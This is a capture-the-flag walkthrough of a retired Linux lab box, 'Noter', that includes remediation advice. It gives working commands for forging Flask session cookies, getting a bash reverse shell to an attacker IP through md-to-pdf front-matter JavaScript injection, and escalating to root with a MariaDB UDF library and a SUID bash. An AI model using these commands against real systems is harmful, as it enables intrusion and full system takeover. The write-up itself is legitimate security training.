← all walkthroughs

Noter

Linux· Medium· Credential Access· Privilege Escalation
owned
2026-10-08
time to own
12m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a Flask note-taking app (Noter) on port 5000 that signs its session cookies with a weak, guessable secret. Source code recovered from FTP backups confirmed the secret and exposed the app's internals. Forging a session as an existing user exposed notes containing FTP credentials.

Those credentials opened the FTP server, where the application backups sat. The backed-up source showed that the app's 'export note from URL' feature passes fetched Markdown to the Node md-to-pdf library, which runs JavaScript embedded in the file. Abusing that gave command execution as the low-privileged 'svc' account.

Database root credentials hardcoded in the app source, plus a MariaDB server running as the OS root user, allowed a User-Defined Function library to be loaded. That ran commands as root and gave full system compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered, for pwn8079>"
export KEY="<the-key-you-recovered>"

Some commands also carry a value in angle brackets — <db_root_password>, <forged_cookie>, <hex_of_so>, <plugin_dir>, <session_cookie> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1EnumerationService and web content discovery (T1595)
Mapped the exposed services and the Noter web application
A scan showed FTP (vsftpd 3.0.3), SSH and a Flask application on port 5000 served by Werkzeug 2.0.2 on Python 3.8. Browsing the app revealed open self-registration, a login form and a notes feature. A test account was registered and logged in, which showed the app relies on a Flask-signed 'session' cookie.
Server: Werkzeug/2.0.2 Python/3.8.10 on :5000; /register accepted a new user and issued a signed session cookie.
Exact commands 4
shell

Identify FTP (21), SSH (22) and the Flask app (5000).

$ nmap -sC -sV -p- --min-rate 2000 $TARGET
shell

Map the application routes.

$ curl -ksS -L --max-time 10 --max-redirs 3 http://$TARGET:5000/notes
shell

Register a low-privilege test account.

$ curl -sS -c noter.cookies -b noter.cookies -d "name=Pwn&email=pwn8079%40lab.local&username=pwn8079&password=$PASSWORD2&confirm=$PASSWORD2" -X POST http://$TARGET:5000/register
shell

Log in and inspect the session cookie.

$ curl -sS -c noter.cookies -b noter.cookies -d "username=pwn8079&password=$PASSWORD2" -X POST -D - http://$TARGET:5000/login -o /dev/null
2Initial AccessFlask session cookie forgery with a weak secret key (CWE-798 / CWE-330)
Forged a session cookie for another user using the weak Flask secret key
The Flask session cookie is only signed, not encrypted, and the signing key was a trivially guessable word. Cracking the key from the cookie and re-signing it with a different username let me impersonate an existing user (blue) without knowing that user's password. The session was accepted and the user's private notes became readable.
A forged cookie for username 'blue' was accepted by /dashboard and /notes; credentials for 'blue' were then recorded.
Exact commands 3
shell

Recover the signing secret (here '$KEY') from the cookie issued for the test account.

$ flask-unsign --unsign --cookie '<session_cookie>' --wordlist /usr/share/wordlists/rockyou.txt
shell

Forge a session for the existing user 'blue'.

$ flask-unsign --sign --cookie "{'logged_in': True, 'username': 'blue'}" --secret $KEY
shell

Read the impersonated user's notes.

$ curl -sS -i -b 'session=<forged_cookie>' http://$TARGET:5000/notes
FixUse a long random secret key and keep it out of source controlCritical
WeaknessThe Flask application signed session cookies with a short, guessable secret key. An unauthorised user could recover it and forge a valid session for any user, bypassing authentication entirely.
FixGenerate a random 32+ byte SECRET_KEY (for example secrets.token_hex(32)) and load it from an environment variable or secrets manager, not from the code. Rotate the key now, because the current one is compromised and all existing sessions must be invalidated. Consider server-side sessions and bind sessions to additional attributes.
3Credential AccessCredentials in files and predictable default passwords (T1552.001, T1078)
Used the user's notes and the password policy to obtain FTP credentials
The impersonated user's notes pointed to the company's FTP service and to a password policy document (policy.pdf). The policy described how default passwords are constructed, with the username followed by '@Noter!'. That pattern revealed the FTP administrator credential, <withheld> / <withheld>. This was a predictable, policy-derived password sitting in plain view.
Pdftotext of policy.pdf showed the password-construction pattern; credential recorded.
Exact commands 2
shell

Read the password policy retrieved from the FTP service.

$ pdftotext -layout policy.pdf -
shell

Confirm the derived FTP credential works and list files.

$ curl -sS --user "$PASSWORD:$PASSWORD" ftp://$TARGET/
FixRemove credentials from notes, stop using predictable passwords, and keep backups off FTPHigh
WeaknessPasswords followed a published pattern (username plus a fixed company suffix) that was documented in a policy file. Credentials were also stored in plain text in user notes. Full application source backups, including code and configuration, sat on an FTP server reachable with those guessable credentials.
FixIssue unique random passwords from a password manager and change the FTP administrator password. Do not publish password patterns in policy documents. Replace FTP with SFTP and require key-based or MFA authentication. Store backups outside web and FTP roots in access-controlled, encrypted storage, and delete old archives. Do not put secrets in application source.
4Information DisclosureExposed backup files / source-code disclosure (T1213)
Downloaded application source-code backups from FTP
The FTP account exposed historical zip backups of the entire Noter application. The newest one contained app.py, the templates, and the Node-based md-to-pdf helper. Reviewing the source confirmed the weak session secret, showed the database connection settings, and revealed the Markdown-to-PDF export feature that would be abused next.
Unzip -l app_backup_1638395546.zip listed app.py, misc/md-to-pdf.js, templates/ and node_modules/.
Exact commands 3
shell

Download the newest application backup.

$ curl -sS --user "$PASSWORD:$PASSWORD" ftp://$TARGET/app_backup_1638395546.zip -o app_backup_new.zip
shell

List and extract the source.

$ unzip -l app_backup_new.zip && unzip -o app_backup_new.zip -d src_new
shell

Review the Flask source for secrets, database settings and risky features.

$ sed -n '1,110p' src_new/app.py
5ExploitationCommand injection via md-to-pdf JavaScript front-matter evaluation (CWE-94, CVE-2021-23639)
Achieved command execution as 'svc' through the Markdown-to-PDF export feature
The app's 'export note from URL' feature fetches a remote Markdown file and renders it with the Node md-to-pdf library. That library evaluates JavaScript placed in the file's front matter. I hosted a Markdown file whose front matter ran a reverse-shell command and asked the app to export it. The command ran on the server as the unprivileged service account svc (uid 1001), and user.txt was readable from its home directory.
Id returned uid=1001(svc) gid=1001(svc); /home/svc/user.txt was read and the capture was accepted.
Exact commands 4
shell

Host a Markdown file whose front matter runs a reverse shell. Replace $ATTACKER_IP.

$ printf -- '---js\n((require("child_process")).execSync("bash -c \\"bash -i >& /dev/tcp/'"$ATTACKER_IP"'/4444 0>&1\\""))\n---RCE\n' > exploit.md && python3 -m http.server 80
shell

Catch the reverse shell.

$ nc -lvnp 4444
shell

Trigger the server to fetch and render the malicious Markdown. Confirm the exact route name in app.py.

$ curl -sS -b 'session=<forged_cookie>' -d "url=http://$ATTACKER_IP/exploit.md" http://$TARGET:5000/export_note_remote
shell

Prove access as svc, then read <user.txt>.

$ id; cat /home/svc/user.txt
uid=1001(svc) gid=1001(svc)
FixPatch md-to-pdf and stop rendering untrusted remote Markdown with code evaluation enabledCritical
WeaknessThe export-from-URL feature fetched externally controlled Markdown and passed it to an outdated md-to-pdf version that executes JavaScript from the front matter. Any logged-in user could therefore run operating-system commands on the server.
FixUpgrade md-to-pdf to a patched release (3.0.0 or later) and disable the JS/JavaScript front-matter engines. Restrict the remote-fetch feature to an allow-list of trusted hosts, or remove it. Run the converter in a sandbox or container with no network access, as a locked-down account. Keep application dependencies updated with automated dependency scanning.
6Privilege EscalationHardcoded credentials in source / over-privileged service account (T1552.001)
Found database root credentials in the application configuration
From the svc shell, the deployed app.py showed that Flask connects to the local MariaDB server as the database 'root' user with a hardcoded password. Checking the database server showed it was running as the operating-system root account and that the database root user could write files and load plugins. This made database access equivalent to OS root.
app.py MySQL configuration used the database root account; the MariaDB process ran as root on the host.
Exact commands 3
shell

Locate the hardcoded database user and password.

$ grep -n 'MYSQL' ~/app/web/app.py
shell

Confirm mysqld/mariadbd runs as root.

$ ps aux | grep -i [m]ysql
shell

Substitute the password found in app.py. Check the plugin directory and privileges.

$ mysql -u root -p'<db_root_password>' -e 'select @@plugin_dir, @@secure_file_priv; show grants;'
FixRun MariaDB as an unprivileged user and use a least-privilege database account for the appCritical
WeaknessThe database server ran as the operating-system root user. The web application connected with the database root account and a hardcoded password, and that account could write files into the plugin directory and register user-defined functions. Any code execution as the app user therefore became code execution as root.
FixRun mysqld/mariadbd as a dedicated 'mysql' system user. Create a dedicated application database user with privileges limited to its own schema, and remove FILE and SUPER privileges. Set secure_file_priv to a restricted directory, make the plugin directory root-owned and not writable by the database user, and restrict the server to local socket access. Store the new database credentials outside the source tree, and rotate the exposed password.
7Privilege EscalationMySQL/MariaDB User-Defined Function (UDF) privilege escalation (T1068)
Loaded a malicious UDF library into MariaDB to run commands as root
Because MariaDB runs as root and the database root user may write to its plugin directory, I compiled a small shared library exposing a command-execution function. They wrote it into the plugin directory and registered it as a User-Defined Function. Calling the function ran a command as the OS root user, creating a SUID-root shell. That gave full control, and root.txt was read.
Privilege escalation to root via MariaDB root UDF execution; root.txt was captured as root.
Exact commands 4
shell

Compile the UDF library (raptor_udf2.c, public PoC) on my host or target.

$ gcc -shared -fPIC -o raptor_udf2.so raptor_udf2.c
shell

Write the library into the plugin directory and register the function. Use the plugin_dir value from the previous step.

$ mysql -u root -p'<db_root_password>' -e "select binary 0x<hex_of_so> into dumpfile '<plugin_dir>/raptor_udf2.so'; create function do_system returns integer soname 'raptor_udf2.so';"
shell

Create a SUID-root copy of bash.

$ mysql -u root -p'<db_root_password>' -e "select do_system('cp /bin/bash /tmp/rb; chmod +s /tmp/rb');"
shell

Prove root with id, then read <root.txt>.

$ /tmp/rb -p -c 'id; cat /root/root.txt'

Exposed services

21/tcp
22/tcp
5000/tcp